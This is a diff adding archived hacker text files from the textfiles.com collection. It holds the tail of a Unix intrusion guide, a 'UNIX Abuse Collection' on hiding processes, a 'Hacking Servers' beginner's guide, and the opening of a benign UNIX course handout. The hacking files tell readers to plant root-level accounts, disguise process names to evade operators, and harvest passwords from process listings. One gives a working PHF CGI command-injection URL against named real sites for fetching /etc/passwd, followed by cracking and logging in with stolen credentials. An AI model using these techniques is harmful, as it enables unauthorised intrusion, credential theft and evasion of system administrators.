+sysadm:x:0:0:administration:/usr/admin:/bin/rsh + +The password filed is substituted by "x". + +The /etc/shawdow file only readable by root will look similar to +this: + +root:D943/sys34:5288:: +: +super user accounts +: +Cathy:masai1:5055:7:120 +: +all other users +: + +The first field contains users id:the second contains the password(The pw will +be NONE if logining in remotely is deactivated):the third contains a code of +when the password was last changed:the fourth and the fifth contains the +minimum and the maximum numbers of days for pw changes(Its rare that you will +find this in the super user logins due to there hard to guess passwords) + + +/etc/options directory +----------------------- +The etc/options dir will consists of utilities available in the system. +Example: +-rwxr-xr-x 1 root sys 40 april 1:00 uucp.name +uucp standing for BNU + +/etc/group +----------- +The file has each group on the system.Each line will have 4 entries separated +by a ":" . Example of concatenated /etc/group: + +root::0:root +adm::2:adm,root +bluebox::70: + +Group name:password:group id:login names +** It very unlikely that groups will have passwords assigned to them ** +The id "0" is assigned to / + +Sending and recieving messages: +------------------------------- +Two programs are used to manage this.They are mail & mailx.The difference +between them is that mailx is more fancier thereby giving you many choices +like replying message ,using editors etc. +Sending: +-------- +The basic format for using this command is: + +$mail [login(s)] +(now one would enter the text +after finishing enter "." a period +on the next blank line) +$ +This command is also used to send mail to remote systems.Suppose you wanted +to send mail to john on a remote called ATT01 +you would type in: + +$mail ATT01!john + +Mail can be sent to several users,just by entering more login name after +issuing the mail command + +Using mailx is the same format:(This I'll describe very briefly) +$mailx john +subject:(this lets you enter the subject) +(line #1) +(line #2) +(After you finish enter (~.) not the brackets offcourse ,more commands are +available like ~p,~r,~v,~m,~h,~b etc.) + +Receiving: +---------- +After you log on to the system you will the account may have mail waiting. +You will be notified "you have mail". +To read this enter: +$mail +(line #1) +(line #2) +(line #3) +? +$ +After the message you will be prompted with a question mark.Here you have a +choice to delete it by entering d,saving it to view it later s,or just press +enter to view the next message. +(DONT BE A SAVANT AND DELETE THE POOR GUYS MAIL) + +Super user commands: +-------------------- +$sysadm adduser - will take you through a routine to add a user + (may not last long) + +Enter this: + +$ sysadm adduser +password: +(this is what you will see) +/--------------------------------------------------------------------------\ + Process running succommmand `adduser` + USER MANAGMENT + + Anytime you want to quit, type "q". + If you are not sure how to answer any prompt, type "?" for help + + If a default appears in the question,press for the default. + + Enter users full name [?,q]: (enter the name you want) + Enter users login ID [?,q]:(the id you want to use) + Enter users ID number (default 50000) [?,q) [?,q]:( press return ) + Enter group ID number or group name:(any name from /etc/group) + Enter users login home directory:(enter /usr/name) + + This is the information for the new login: + Users name: (name) + login ID:(id) + users ID:50000 + group ID or name: + home directory:/usr/name + Do you want to install,edit,skip [i,e,s,q]? (enter your choice if "i" then) + Login installed + Do you want to give the user a password?[y,n] (its better to enter one) + New password: + Re-enter password: + + Do you want to add another login? +\----------------------------------------------------------------------------/ + +This is the proccess to add a user.Since you hacked into a super user account +you can make a super user account by doing the following by entering 0 as an +user and a group ID and enter the home directory as /usr/admin.This will give +you as much access as the account sysadm +**Caution** - Do not use login names like Hacker,Cracker,Phreak etc .This is +a total give away. +The process of adding a user wont last very long the S.A will know when he +checks out the /etc/passwd file + +$sysadm moduser - This utility allows one to modify users.DO NOT ABUSE!!! +Password: + +This is what you'll see: + +/----------------------------------------------------------------------------\ +MODIFYING USER'S LOGIN + +1)chgloginid (This is to change the login ID) +2)chgpassword (Changing password) +3)chgshell (Changing directory DEFAULT = /bin/sh) + +ENTER A NUMBER,NAME,INITIAL PART OF OF NAME,OR ? OR ? FOR HELP, +Q TO QUIT ? +\----------------------------------------------------------------------------/ + +Try every one of them out.Do not change someones password.It creates a havoc. +If you do decide to change it.Please write the original one down somewhere +and change back.Try not to leave to many traces after you had your fun. +In choice number 1 you will be asked for the login and then the new one. +In choice number 2 you will asked for the login and then supplied by it correct +password and enter a new one. +In choice 3 this is used to a pchange the login shell ** Use full ** +The above utilites can be used separatly for eg( To change a password one +coulfd enter: $sysadm chgpasswd not chapassword ,The rest are same) + +$sysadm deluser - This is an obviously to delete a user +password: + +This will be the screen output: +/---------------------------------------------------------------------------\ +Running subcommand 'deluser' from menu 'usermgmt' +USER MANAGEMENT +This fuction completely removes the user,their mail file,home directory +and all files below their home directory from the machine. + +Enter login ID you wish to remove[q]: (eg.cathy) +'cathy' belongs to 'Cathy Franklin' +whose home directory is /usr/cathy +Do you want to remove this login ID 'cathy' ? [y,n,?,q] : + +/usr/cathy and all files under it have been deleted. + +Enter login ID you wish to remove [q]: +\--------------------------------------------------------------------------/ +This command deletes everthing owned by the user.Dont use it even if you have +access to it. + + + +other super user commands: +-------------------------- +wall [text] control-d - to send an anouncement to users logged in(will + override mesg -n command).Execute only from / +/etc/newgrp - is used to become a member of a group + +sysadm [program name] + delgroup - delets groups + whoson - self explanatory + lsgroup - Lists group + mklineset -hunts various sequences + lsuser -lists all the users & their logins names + +Other commands may require file system to be mounted. + + + Basic Networking utility(BNU) + ----------------------------- + +The BNU is a unique feature in UNIX.Some systems may not have this installed. +What BNU does is allow other remote UNIXes communicate with yours without +logging off the present one.BNU also allowes file transfer between computers. +Most UNIX systems V will have this feature installed. + +The user program like cu,uux etc are located in the /usr/bin directory + +Basic Networking Files: +----------------------- +/usr/lib/uucp/[file name] + [file name] + systems - cu command to establishes link.Contains info on remote computers + name,time it can be reached,login Id,password,telephone numbers + devices - inter connected with systems files(Automatic call unit same in two + entries)also cantains baud rate,port tty1 etc. + + dialers - where asscii converation must be made before file tranfers etc. + dialcodes - contains abreiviations for phone numbers that can be used in + systems file + + other files are sysfiles,permissions,poll,devconfig + +B.N.U Aministrative files: +-------------------------- +There are 5 admnistrative files present.These are files are created in the +/usr/spool directory .These A.Files are responsible for various BNU procceses +like kepping records data ,files tranfers bettwenn remote and local and also +usefull to lock devices. + +TM - This file used to hold temporary data .When tranfering the files from a + remote to local the /usr/spool/uucp/[name of the remote computer ] creates + this in the format of as of below: + + TM[Process Identification Number].[ddd] + + The ddd is the a 3 digit number (sequential) starting with "0" + Here a typical eg: TM322.012 + Then this file is moved into the path defined by the C.sysnxxx file + +X.[Execute files] - Created in the /usr/spool before you execute the commands + in remote. + The format used to name this file is X.sysnxxx + where sys stand for the remote name and n is the priority + level the xxxx is a sequence assingned by the uucp.These + files always contain the Name of the file ,Comuter & file + name to recieve,Persons login & computer name and the + command string. + +LCK - The lock file created in the /usr/spool/locks directory.The is used when + devices are being used.Prevent usage of the same calling device. + + Format used: LCK.str wher the str is a device name.The Lock file contains + the PID needed to lock + +C.sysnxxx - created in the usr/spool directory.These are the work files.Used + when work is in line,remote execeutions.Format is same as the + X.sysnxxxx.The works files contain the full path name of the file + to be sent,path name of the destination (TM Transfers),Remote login + name to be notified after the file transmision is complete,Users + login name and the name of the programs used eg.uucp,uupick etc. + +D - The data files.Format used is D.systmxxxxyyy.These files are created when + specified in a command to copy to the spool directory.Eg. By the usage of + uucp -C this will be true. + The systm is the remote name,xxxx is the the 4 digits seq assingned by + the uucp.The yyy is a sub sequence number. + +Logining on to remote and sending+receiving files +------------------------------------------------- + cu - This command allows one to log on to the local as well as the remote + Unix (or a non unix)without haveing to hang up so you can transfer files. + Usage:[options] + + $ cu [-s baud rate][-o odd parity][-e even parity][-l name of comm line] + telephone number | systemname + + To view system names that you can communicate with use the 'unname' command: + Eg. of output of names: + + ATT01 + ATT02 + ATT03 + ATT04 + + +$ cu -s300 3=9872344 (9872344 is the tel#) + connected + login: + password: + +local strings: +-------------- +<~.> - will log you off the remote terminal but not the local +~! - out you on the local withiout disconnecting the line from remote + - puts you back on the remote unix +~%take [file name] - takes a copy of the file name and copies it to the + local(the directory which you are in) +"%put [file name] - reverse of above +~$[command] - allows the execution of a command to the local from remote + +ct +-- +ct allows local to connect to remote.Initiates a getty on a remote terminal. +Usefull when using a remote terminal.BNU has call back feature that allows +the user on the remote who can execute a call back meaning the local can call +the remote.[ ] are options + +$ ct [-h prevent automatic hang up][-s bps rate][-wt set a time to call back + abbrieviated t mins] telephone number + +uux +--- +To execute commands on a remote (unix to unix) +usage:[ ] are options + +$ uux [- use standard output][-n prevent mail notification][-p also use + standard output] command-string + +uucp +---- +uucp copies files from ones computer to the home directory +of a user in remote system.This also works when copying files from one +directory to another in the remote.The remote user will be notified by mail. +This command becomes use full when copying files from a remote to your local +system. +The uucp requires the uucico daemon will call up the remote and will perform +file login sequence,file transfer and notify the user by mail. +Daemons are programs runining in the background.The 3 daemons in a Unix are +uucico,uusched,uuxqt. + + Daemons Explained:[nows a good time to explain the 3 daemons] + ------------------ + + uuxqt - Remote execution.This daemon is executed by uudemon.hour started by + cron.UUXQT searchs in the spool directory for executable file + named X.file sent from the remote system.When it finds a file X.file + where it obtains process which are to be executed.The next step is + to find weather the processes are available at the time.The if + available it checks permission and if everthing is o.k it proceeds + the background proccess. + + uucico - This Daemon is very immportant for it is responsible in establishing + a connection to the remote also checks permission,performs login + procedures,transfers + executes files and also notifies the user + by mail.This daemon is called upon by uucp,uuto,uux commands. + + uusched - This is executed by the shell script called uudemon.hour + This daemons acts as a randomizer before the UUCICO daemon is + called. + + +Usage of uucp command: + +$ uucp [options] [first full path name!] file [destination path!] file +example: +$ uucp -m -s bbss hackers unix2!/usr/todd/hackers + +What this would do is send the file hackers from your computer to the remotes +/usr/todd/hackers making hackers offcourse as file.todd would mail that +a file has been sent to him.The unix2 is the name of the remote. +Options for uucp:(Dont forget to type in remotes name unix2 in case) +-c dont copy files to spool directory +-C copy to spool +-s[file name] - this file will contain the file status(above is bbss) +-r Dont start the comm program(uucico) yet +-j print job number(for above eg.unix2e9o3) +-m send mail when file file is complete + +Now suppose you wanted to receive file called kenya which is in the usr/dan/usa + to your home directory /usr/john assuming that the local systems name is +ATT01 and you are currently working in /usr/dan/usa,you would type in: + +$uucp kenya ATT01!/usr/john/kenya + +uuto +---- +The uuto command allows one to send file to remote user and can also be used +to send files locally. +Usage: +$ uuto [file name] [system!login name]( omit systen name if local) + + + +Conclusion: +----------- +Theres always more one can say about the UNIX but its time to stop. +I hope you have enjoyed the article.I apologize for the lenght. I hope I +made the UNIX operating system more familiar. +Remember do not abuse any systems you hack into for a true hacker doesn't like +to reck but to learn. +I can be reached at (718)358/9209 - Hackers Den88 [2600 BBS #5] + +Watch for my new article on using PANAMAC airline computers coming soon. + + + Red Knight + P/HUN! + <> + +Leached off SSC (713) 497-2312 diff --git a/textfiles.com/hacking/UNIX/hide.hac b/textfiles.com/hacking/UNIX/hide.hac new file mode 100644 index 00000000..5b36d3e3 --- /dev/null +++ b/textfiles.com/hacking/UNIX/hide.hac @@ -0,0 +1,103 @@ + UNIX Abuse Collection + Written By ZeeBee Australia Jan 1990 + + + Ok Hacksters...we all know the importance of a good +understanding of the UNIX V operating system, but I find that +just an understanding alone is quite simply not enough. + + Our little articles are not intended for those wishing to +gain an understanding of the UNIX environment. Instead, we aim +to show you how to truly ABUSE the UNIX system to it's fullest +potential.(And lets face it, UNIX really does have some really +great abusable features!)..so....grab your UNIX accounts and +passwords, and lets go! + + + **UNIX ABUSE COLLECTION PART 01** + ****INVISIBILITY AND COVER UP TECHNIQUES*** + + One thing that really used to bug me about using a UNIX +system was that I always felt like someone was watching me. It's +just too easy to see what other users are doing, and as soon as +you discover something good, everyone else sees what you are +doing, and VOOM!...there goes your big secret. System operators +too, can easily pinpoint just who is stuffing around with their +system simply by seeing what processes are running under your +name. So, I set out to find ways around this. + + One way to cover up what you are doing is to find and copy +the command that you wish to perform. As an example, just say I +want to cat a whole load of bullshit to someones terminal, but I +dont want anyone to see that I am executing the cat command. +First of all I find the cat command. On most systems it will be +somewhere in the /bin directory. Once you have found the command +you must copy it (if possible) to your own directory and rename +it to something inconspicuous. Most commands can be found +somewhere in the /bin or /usr/bin directories, but if you cant +find them, just look at your path list and see where UNIX is +looking for them. (typing echo $PATH is one way to view your path +list.) + Keep it in mind that not all commands are copyable (do an ls +-al and look at the access flags to see if they are) if the +access flags have an 'r' in the column 3rd from the far right, +then you can read it, ie copy it ! + One advantage to this technique is that if you find a bug +with a certain command, you have a copy of the faulty code, so +even if the computer staff fix the bug, you will have the old +version ! Neat ! + + BUT! Don't worry if you can't copy the file! The following +technique will do just the same job, without the need to copy the +file. To do this you will need to write a program in C, compile +it, and place it somewhere where it is safe for you to call +whenever you want. + + +This is the small, and usefull piece of code: + +main() +{ + execl("/bin/ls","a.out","-l",(char *)0); +} + + + The above piece of code will execute the ls -l command, but +will generally show up as a.out -l whenever someone has a look at +what you are doing! + The "/bin/ls" is the path of the 'ls' command. Put the path +of any program you wish to execute here. + The "a.out" is what anyone else will think you are running. +Put anything you want here. The command doesnt even have to +exist! + The "-l" is the flag being passed to the ls command. You +cant cover up flags which are passed. Damn! + + + So, by using this, you can run any program with execute +access and make it look like you are running something else. You +could even put in a whole path where I put the "a.out" and +really confuse the shit out of people when they go looking for +this great program you are running. + + While we are on the topic, I would just like to stress the +importance of continually checking to see what others on the +system are doing. I find the "w -d" "ps -fu USERNAME" and "ps - +fa" commands to be most usefull at this. On one system I was +actually able to see system operators creating new accounts, and +the account names and passwords were being passed. So one of the +processes being executed by some priveleged user looked like +this: + +megauser 273 10:00:12 createaccount john zephyr ; + +* In the above example, john is the account name, zephyr is the +password.* + +We got about 100 accounts that day ! + + And remember, as soon as any new toy is installed on the +system, somebody will be using it, so just keep an eye on them to +see what they do. + +Downloaded From P-80 Systems 304-744-2253 diff --git a/textfiles.com/hacking/UNIX/hss.txt b/textfiles.com/hacking/UNIX/hss.txt new file mode 100644 index 00000000..260f0d8f --- /dev/null +++ b/textfiles.com/hacking/UNIX/hss.txt @@ -0,0 +1,119 @@ + Hacking Servers: + A Beginner's Guide + + By: Lord Dredd + + + + + I am asked at least 5 or more times a day by young, beginning +"hackers", "How can I hack?" or "Is there a way to hack a web site?" +Well there is. There are, in fact, literally hundreds of ways to do this. I +will discuss a few in this text to get you started. Every hacker has to start +somehow and hacking web servers and ftp servers is one of the easiest ways. +If you are reading this I am assuming that you already have a basic knowledge +of how web servers work and how to use some form of UNIX. But I am going to +explain that stuff anyway for those of you who don't know. + + + +Part 1: Simple UNIX Commands + + Most DOS commands have UNIX and Linux equivalents. Listed below are +some of the main commands you will need to know to use a shell account. + +HELP = HELP +COPY = CP +MOVE = MV +DIR = LS +DEL = RM +CD = CD + + To see who else is on the system you can type WHO. To get information +about a specific user on the system type FINGER . Using those basic +UNIX commands you can learn all you need to know about the system you are +using. + +Part 2: Cracking Passwords + + On UNIX systems the file that contains the passwords for all the users +on the system is located in the /etc directory. The filename is passwd. I bet +your thinking...."Great. All I have to do is get the file called /etc/passwd +and I'll be a hacker." If that is what you are thinking then you are dead +wrong. All the accounts in the passwd file have encrypted passwords. These +passwords are one-way encrypted which means that there is no way to decrypt +them. However, there are programs that can be used to obtain passwords from +the file. The name of the program that I have found to be the best password +cracker is called "Cracker Jack." This program uses a dictionary file composed +of thousands of words. It compares the encrypted forms of the words in the +list to the encrypted passwords in the passwd file and it notifies you when +it finds a match. Cracker Jack can be found at my web site which is at +http://www.geocities.com/SiliconValley/9185 + Some wordlists can be found at the following ftp site: sable.ox.ac.uk/ +pub/wordlists. To get to the wordlist that I usually use goto that ftp site +then goto the American directory. Once you are there download the file called +dic-0294.tar.Z which is about 4 MB. To use that file it must be uncompressed +using a program like Gzip for DOS or Winzip for Windows. After uncompressing +the file it should be a text file around 8 MB and it is best to put it in the +same directory as your cracking program. To find out how to use Cracker Jack +just read the documentation that is included with it. + +Part 3: The Hard Part (Finding Password Files) + + Up till now I have been telling you the easy parts of hacking a +server. Now we get to the more difficult part. It's common sense. If the +system administrator has a file that has passwords for everyone on his or her +system they are not going to just give it to you. You have to have a way to +retrieve the /etc/passwd file without logging into the system. There are 2 +simple ways that this can sometimes be accomplished. Often the /etc directory +is not blocked from FTP. To get the passwd file this way try using an FTP +client to access the site anonymously then check the /etc directory to see if +access to the passwd file is restricted. If it is not restricted then download +the file and run Cracker Jack on it. If it is restricted then try plan B. On +some systems there is a file called PHF in the /cgi-bin directory. If there +is then you are in luck. PHF allows users to gain remote access to files +(including the /etc/passwd file) over the world wide web. To try this method +goto your web browser and type in this URL: +http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd +Then substitute the site you are trying to hack for the xxx.xxx.xxx. +For example, if I wanted to hack St. Louis University (and I have already) I +would type in http://www.slu.edu/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd + + +Don't bother trying www.slu.edu because I have already done it and told them +about their security flaw. +Here's a hint: try www.spawn.com and www.garply.com + +If the preceding to methods fail then try any way you can think of to get that +file. If you do get the file and all the items in the second field are X or ! +or * then the password file is shadowed. Shadowing is just a method of adding +extra security to prevent hackers and other unwanted people from using the +password file. Unfortunately there is no way to "unshadow" a password file +but sometimes there are backup password files that aren't shadowed. Try +looking for files such as /etc/shadow and other stuff like that. + +Part 4: Logging In To "Your" New Shell + + OK....This is where you use what you found using Cracker Jack. +Usernames and passwords. Run your telnet client and telent to the server that +you cracked the passwords for, such as www.slu.edu. When you are connected it +will give a login screen that asks for a login names and password and usually +information on the operating system that the server is using (usually UNIX, +linux, aix, irix, ultrix, bsd, or sometimes even DOS or Vax / Vms). Just type +in the information you got after cracking the passwd file and whatever you +know about UNIX to do whatever you feel like doing. But remember that hacking +isn't spreading viruses or causing damage to other computer systems. It is +using your knowledge to increase your knowledge. + +Part 5: Newbie Info + + If you feel that you have what it takes to be a serious hacker then +you must first know a clear definition of hacking and how to be an ethical +hacker. Become familiar with unix environments and if you are only just +starting to learn to hack, visit a local library and find some books on +various operating systems on the internet and how they work. Or you could go +to a book store and buy a couple internet security books. They often explain +how hackers penetrate systems and that is something a beginner could use as +an advantage. + + diff --git a/textfiles.com/hacking/UNIX/interunx.txt b/textfiles.com/hacking/UNIX/interunx.txt new file mode 100644 index 00000000..be00550f --- /dev/null +++ b/textfiles.com/hacking/UNIX/interunx.txt @@ -0,0 +1,6908 @@ + + + + + + + + + + + + + + + + + UNIX for Intermediate Users + + + + + + + + + + + + + + + + + + + Developed by: + + User Liaison Section, D-7131 + [Name and numbers removed at author's request] + + + + Revision Date: + + TABLE OF CONTENTS + + +I. INTRODUCTION........................................................................ ii + A. Audience..................................................................... ii + B. Course Objectives............................................................ ii + C. Course Handout Conventions...................................................iii + +1. THE FILE CALLED .profile AND PROCESSES.............................................. 1 + 1.1 HOME........................................................................ 1 + 1.2 PATH........................................................................ 2 + 1.3 INGRES Environment Variables................................................ 2 + 1.4 ING_HOME.................................................................... 3 + 1.5 TERM_INGRES................................................................. 3 + 1.6 ING_EDIT.................................................................... 3 + 1.7 Processes................................................................... 4 + 1.8 Executing a Command......................................................... 4 + 1.9 Process Identification...................................................... 5 + 1.10 Interrupt Handling......................................................... 7 + +2. COMPILING "C" PROGRAMS............................................................... 10 + 2.1 "C": Sample Program with a Main and Two Functions + in One ............................................................ 10 + 2.2 "C": Compiling a Program.................................................... 12 + 2.3 "C": Renaming the Executable Module......................................... 13 + 2.4 "C": Giving a Name to the Output File....................................... 14 + 2.5 "C": Producing an Assembly Listing.......................................... 15 + 2.6 "C": Main and Two Functions in Three Separate + Source Files.............................................................. 16 + 2.7 "C": Compiling but Not Producing an Executable + Module.................................................................... 17 + +3. COMPILING FORTRAN PROGRAMS......................................................... 18 + 3.1 FORTRAN: Sample Program a Main and Two + Subroutines............................................................... 18 + 3.2 FORTRAN: Compiling a Program................................................ 19 + 3.3 FORTRAN: Renaming the Executable Module..................................... 20 + 3.4 FORTRAN: Giving a Name to the Output File................................... 21 + 3.5 FORTRAN: Producing an Assembly Listing...................................... 22 + 3.6 FORTRAN: Main and Two Subroutines in Three + Separate Source Files........................................ 23 + 3.7 FORTRAN: Compiling But Not Producing an Executable + Module.................................................................... 24 + 3.8 FORTRAN: Compiling Object Files to Produce an + Executable Module....................................... 25 + +4. COMPILING COBOL PROGRAMS............................................................ 26 + 4.1 COBOL: Sample Program with a Main and Two + Subroutines............................................................... 26 + 4.2 COBOL: Compiling a Program.................................................. 27 + 4.3 COBOL: Running a Program.................................................... 28 + Workshop 2-4..................................................................... 30 + +5. UNIX TOOLS.......................................................................... 34 + 5.1 The make Utility............................................................ 34 +p: A Pattern Matching Filter............................................................ 37 + 5.2.1 More on Regular Expressions........................................ 38 + 5.2.2 Closure............................................................ 42 + 5.2.3 Some Nice grep Options ................................ 43 + 5.2.4 Summary of Regular Expression Characters........................... 44 + 5.3 sed: Edit a File to Standard Output......................................... 45 + 5.4 awk: A Pattern Matching Programming Language................................ 49 + 5.5 sort: Sort a File........................................................... 53 + 5.6 Archiver and Library Maintainer............................................. 56 + 5.7 Creating an Archive File with Object Modules................................ 57 + 5.8 Verifying the Contents of the Archive File.................................. 57 + 5.9 Removing Duplicate Object Files............................................. 58 + 5.10 Compiling Main and Archive Files........................................... 58 + Workshop 5....................................................................... 59 + +6. UNIX UTILITIES PART I - DISPLAY AND MANIPULATE FILES................................ 63 + +7. UNIX UTILITIES PART II - DISPLAY AND ALTER STAUTS................................... 73 + +8. UNIX UTILITIES PART III - MISCELLANEOUS............................................. 85 + +9. ADVANCED FEATURES OF FTP............................................................ 90 + 9.1 Initializing FTP on UMAX.................................................... 91 + 9.2 Multiple File Transfers..................................................... 92 + 9.3 Auto Login Feature.......................................................... 93 + 9.4 Macros...................................................................... 95 + 9.5 Filename Translation........................................................ 96 + 9.6 Aborting Transfers.......................................................... 97 + 9.7 More Remote Computer Commands............................................... 98 + Workshop 10...................................................................... 99 + +APPENDIX A - sh.........................................................................101 + +APPENDIX B - ftp........................................................................116 + +APPENDIX C - C Compiler.................................................................128 + +APPENDIX D - FORTRAN Compiler...........................................................137 + +APPENDIX E - lint.......................................................................147 + +APPENDIX F - cb.........................................................................151 + +APPENDIX G - ar.........................................................................152 + +INDEX...................................................................................157 + +I. INTRODUCTION + + +A. Audience + + +This course is for individuals who need to use utilities and +advanced features of the UNIX operating system. + + + +B. Course Objectives + + +Upon successful completion of this course the student will be +able to: + + 1. Compile C, FORTRAN, and COBOL programs. + + 2. Create processes to run in the background + + 3. Use advanced features of FTP such as: multiple file + transfers, auto logins, macros, globbing, filename + translation, aborting transfers, and other remote + computer commands. + + 4. Use UNIX utility programs such as grep, sed, awk, sort, + and others. + + 5. Use the make utility. + + 6. Understand processes, including structure, executing a + command, process identification, exit status, plus . + (dot) and exec processing. +C. Course Handout Conventions + + +There are several conventions used in this handout for +consistency and easier interpretation: + + + 1. Samples of actual terminal sessions are single-lined + boxed. + + + 2. User entries are shown in bold print and are + underlined. + + exit + + + 3. All keyboard functions in the text will be bold. + + (Ret) Backspace + Tab Ctrl-F6 + Print (Shift-F7) Go to DOS (1) + + NOTE: (Ret) indicates the Return or Enter key + located above the right Shift key. + + + 4. Examples of user entries not showing the computer's + response are in dotted-lined boxes. + + + + 5. Command formats are double-lined boxed. + + + + 6. Three dots either in vertical or horizontal alignment + mean continuation or that data is missing from diagram. + + + + + + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ³ +³ Multimax, Nanobus, and UMAX are trademarks of ³ +³ Encore Computer Corporation. ³ +³ ³ +³ ³ +³ Annex is a trademark of XYLOGICS, Inc. ³ +³ ³ +³ ³ +³ UNIX and Teletype are registered trademarks of ³ +³ AT&T Bell Laboratories ³ +³ ³ +³ ³ +³ Ethernet is a trademark of Xerox Corporation ³ +³ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +1. UNIX PROCESSES AND A FILE CALLED .profile + + +1.1 Processes + + +A process is the execution of a command by UNIX. Processes can +also be executed by the operating system itself. Like the file +structure, the process structure is hierarchical. It contains +parents, children, and even a root. A parent can fork (or spawn) +a child process. That child can, in turn, fork other processes. +The first thing the operating system does to begin execution is +to create a single process, PID number 1. PID stands for Process +Identification. This process will hold the same position as the +root directory in the file structure. This process is the +ancestor to all processes that each user works with. It forks a +process for each terminal. Each one of these processes becomes a +Shell process when the user logs in. + +1.2 Process Identification + + +The UNIX operating system assigns a unique process identification +number (PID) to each process. It will keep the same PID as long +as the process is in existence. During one session, the same +process is always executing the login Shell. When you execute +another command, a new process is forked and a new PID is +assigned to that process. When that child process is finished, +you are returned to the login process, which is running the +Shell, and that parent process has the same PID as when you +logged in. + + +The Shell stores the PID in Shell variable called $$. The PID +can also be shown with the process status (ps) command. The +format for ps is as follows: + + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: ps [options] º +º º +º See on-line manual for options º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +With no options given the ps command will give you certain +information about processes associated with the controlling +terminal. The output consists of a short listing containing the +process id, terminal id, cumulative execution time, and the +command name. Otherwise, options will control the display. + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $echo $$ ³ +³ 8347 ³ +³ $ps ³ +³ PID TTY TIME COMMAND ³ +³ 8347 rt021a0 0:03 ksh ³ +³ 8376 rt021a0 0:06 ps ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + +The PID numbers of the Shell are the same in the sample session +because the Shell will substitute its own PID number for $$. +The Shell makes the substitution before it forks a new process to +execute the echo command. Therefore, echo will display the PID +number of the process that called it, not the PID of the process +that is executing it. +The -l option will display more information about the processes. + + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $ps -l ³ +³ F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME COMD ³ +³ f0000 S 115 8347 309 2 30 20 1009000 140 94014 rt021a0 0:03 ksh ³ +³ f0000 O 115 8386 8347 16 68 20 1308000 72 rt021a0 0:01 ps ³ +³ $ps -l ³ +³ F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME COMD ³ +³ f0000 S 115 8347 309 1 30 20 1009000 140 94014 rt021a0 0:03 ksh ³ +³ f0000 O 115 8387 8347 26 73 20 1146000 72 rt021a0 0:01 ps ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + +1.3 Executing a Command + + +When you give a command to the Shell, it will fork a process to +execute the command. While the child process is executing the +command, the parent will go to sleep. Sleeping means that the +process will not use any CPU time. It remains inactive until it +is awakened. When the child process has finished executing the +command, it dies. The parent process, which is running the +Shell, wakes up and prompts you for another command. + +When you request a process to run in the background (by ending +the command line with an ampersand character (&), the Shell forks +a child process that is allowed to run to completion. The parent +process will report the PID of the child process and then prompt +you for another command. The child and parent are now +independent processes. + + +1.4 The . (dot) and exec Commands + +There are two ways to execute a program without forking a new +process. The . (dot) command will execute the script as part of +the current process. When the new script has finished executing, +the current process will continue to execute the original script. +The exec command will execute the new script in place of +(overlays) the original script and never returns to the original +script. + +The . (dot) command will not execute compiled files (binary) and it does not require execute +permission on the script file that is being executed. The exec command does require access +permission to either a binary program or a shell script. + + +Sample session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ $ls -l prog2 ³ +³ -rw-r--r-- 1 teacher class 22 Jan 18 10:30 prog2 ³ +³ $cat prog2 ³ +³ echo 'prog2 PID =' $$ ³ +³ $cat dot_example ³ +³ echo $0 'PID=' $$ ³ +³ . prog2 ³ +³ echo 'This line is executed' ³ +³ $dot_example ³ +³ dot_example PID= 6942 ³ +³ prog2 PID = 6942 ³ +³ This line is executed ³ +³ $ ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +The exec command will overlay the sh and control will never return to the calling script. +Let's look at another example with a call to prog2 using exec instead of . (dot): + +Sample session: + 